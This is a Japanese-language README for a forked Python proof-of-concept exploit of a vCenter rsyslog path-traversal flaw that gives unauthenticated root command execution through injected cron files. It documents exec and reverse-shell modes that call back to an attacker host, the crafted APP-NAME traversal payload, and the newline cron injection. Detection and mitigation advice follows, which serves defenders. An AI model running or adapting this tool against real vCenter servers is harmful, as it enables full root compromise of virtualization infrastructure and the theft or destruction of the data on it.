
CVE-2026-59310 の Python PoC:vCenter の rsyslog パストラバーサルを悪用し、cron 経由で root としてファイル書き込みとコマンド実行を行う。check、exec、shell、cleanup モードを備える。
English | 中文
ChinaRan0/CVE-2026-59310-POC の最適化フォーク。脆弱性分析はそのプロジェクトに準拠しています。このツリーは、許可されたテスト向けにクライアントとドキュメントを作り直したものです。サブコマンド、ワンショットの cron ジョブ、リモート PTY 上のインタラクティブシェルを備えています。
許可された用途に限ります。 明示的な書面による許可を得てテストするシステムに対してのみ実行してください。現地の法律の遵守およびターゲットへの影響については、あなたが責任を負います。
| CVE | CVE-2026-59310 |
| アドバイザリ | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Critical |
| 脆弱性 | vCenter rsyslog におけるパストラバーサル → 任意ファイル書き込み → root コード実行 |
| 必要な権限 | なし。syslog (UDP/TCP 514) へのネットワークアクセスがあれば十分 |
| 修正済みバージョン | 9.0.2.0100 (Build 25629525)、9.1.0.0300、8.0 U3k、8.0 U2f |
| 上流 | ChinaRan0/CVE-2026-59310-POC |
| 上流 | このフォーク | |
|---|---|---|
| CLI | 単一パーサー上の -c、--lhost、--check | check、exec、shell、cleanup サブコマンド |
| Cron | 毎分繰り返し実行 | 自身のファイルを削除してから一度だけ実行 |
| クォート処理 | コマンドテキストをシェルに連結 | shlex.quote を使用し、引用符で cron 行を分割できないように |
| シェル | ローカルの偽プロンプト、1 行ずつ | リモート PTY、キーストロークリレー、リモートの色と Tab 補完 |
| クリーンアップ | rm のヒントを表示 | --id の成果物を削除するワンショットジョブを仕込む |
| リスナー | 0.0.0.0 にバインド | --bind でローカルアドレスを選択 |
shell にはターゲット上の python3 が必要。vCenter Server Appliance には含まれています。セッションは pty.spawn を使用するため、シェルは実際のターミナルを持ちます。python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec と shell は、crond が約60秒後に一度だけ実行する cron ファイルを書き込みます。--id を指定しない cleanup は、cve59310 プレフィックスを使用するすべてのアーティファクトを削除します。
| オプション | 意味 |
|---|---|
--port | Syslog ポート。デフォルトは 514。 |
--tcp | Syslog を UDP ではなく TCP で送信します。 |
--id | アーティファクト ID: 1〜32文字、[a-z0-9]。省略時はランダム。 |
-q | バナーを抑制します。 |
exec| オプション | 意味 |
|---|---|
-c / --cmd | 実行するコマンド。stdout と stderr を結合して /tmp/cve59310_<id>.txt に出力します。 |
--wait | 出力ファイルが読み取り可能になるまで、またはタイムアウトまでポーリングします。 |
--timeout | --wait の秒数。デフォルトは 180。 |
--read-command | ローカルの argv テンプレート。{path} はリモートの出力パスです。 |
--wait には --read-command が必要です。例えば ssh root@target cat {path} のように指定します。テンプレートは shlex で分割され、ローカルシェルを経由しません。a; b のようなコマンドは { a; b; } > file としてグループ化されるため、両方の部分がキャプチャされます。
shell| オプション | 意味 |
|---|---|
--lhost / --lport | ターゲットが接続してくるアドレスとポート。ポートのデフォルトは 4444。 |
--bind | ローカルの待ち受けアドレス。デフォルトは 0.0.0.0。 |
--method {bash,python} | ソケットを開くプログラム。デフォルトは bash。どちらの場合も、その後ターゲットの python3 を使用して PTY を割り当てます。 |
--timeout | コールバックを待つ秒数。デフォルトは 180。 |
プロンプト、色、Tab 補完はターゲットの bash によるものです。Ctrl+] でローカル側を閉じます。exit でリモートシェルを終了します。shell は実際のターミナルで実行してください。行バッファリングのクライアントでは完了できません。
| アクション | パス |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log および /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log、実行後にジョブ自身によって削除されます |
--id を記録してください。cleanup <target> --id <id> はその実行を削除します。--id を指定しない場合、クリーンアップジョブは cve59310 プレフィックス全体を削除します。
| ターゲット | VMware vCenter Server 9.0.2.0、Build 25148086 |
| 修正済みビルド | 9.0.2.0100、Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| エントリ | UDP/TCP 514、認証なし |
そのビルドでは、check は /tmp 配下に root 所有のファイルを作成し、id を指定した exec は約1分後に uid=0(root) を返し、shell はターゲットのプロンプト(root [ / ]#、色を含む)を表示します。
各ブランチの修正済みビルドより古いものすべて。スタンドアロンの vCenter が影響を受け、VMware Cloud Foundation、vSphere Foundation、Telco Cloud 内の vCenter コンポーネントも同様です。
| ブランチ | 影響あり | 修正済み |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | すべて | 8.0 U3k 以降にアップグレード |
| 7.0 | 対応するパッチが欠落 | Broadcom からパッチを入手するか、サポート対象リリースに移行 |
/sdk/vimServiceVersions.xml は API 名前空間(多くの場合 9.0.0.0)を報告するものであり、アプライアンスのビルドではありません。ビルドは /etc/vmware-release と /etc/applmgmt/appliance/version で確認してください。
vCenter の rsyslog 設定は %app-name% をログパスに補間し、$EscapeControlCharactersOnReceive off を設定したままにしています:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 は APP-NAME を / で切り捨てます。pmrfc5424 は切り捨てず、デフォルトのルールセットは RFC5424 を受け入れます。そのため、rsyslog/../../../../tmp/x のような細工された APP-NAME は、/var/log/vmware/ の外側に root 所有の *-syslog.log ファイルとして書き込まれます。メッセージ本文中の改行により、cron 行を 0 桁目から開始させることができ、crond がそれを root として実行します。ファイル名は常に -syslog.log で終わるため、cron ファイルはサフィックスのない crontab を置き換えるのではなく、/etc/cron.d/ 配下に置かれます。
| パーサー | rsyslog/../../../../tmp/x に対する %app-name% の値 |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
ベンダーのアドバイザリでは、/opt/vmware/share/htdocs/ 配下への書き込みと、https://<target>:5480/ 経由での読み戻しについても説明されています。
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
ログディレクトリ外の *-syslog.log ファイル、および名前に .. を含むディレクトリが典型的な残留物です。テンプレートがログツリーの外に踏み出すと、rsyslog は存在しない親ディレクトリを作成します。
アップグレードしてください。9.0 ブランチでは、修正済みの最小ビルドは 9.0.2.0100 (Build 25629525) です。
アップグレードまでの間:
pmrfc3164 に固定してください。デフォルトのルールセットが RFC5424 を受け入れるままにしないでください。securepath="normal" と secpath-drop="replace" を設定してください。上流は securepath をパーサーのスラッシュフィルターではなく、パス境界として扱います。$EscapeControlCharactersOnReceive を有効にしてください。:app-name, startswith, "rsyslog" を完全一致に置き換え、動的ファイル書き込みを送信元ネットワークで制限してください。permit.slashesinhostname を有効にすると、%hostname% テンプレートも同様にトラバーサル可能になります。
exec --read-command を使用するか、ターゲット上で出力を読み取ってください。shell は両側に TTY が必要です。半二重の行指向クライアントではタブ補完は機能しません。check はファイルを書き込みます。これは書き込みの証明であり、読み取り専用のプローブではありません。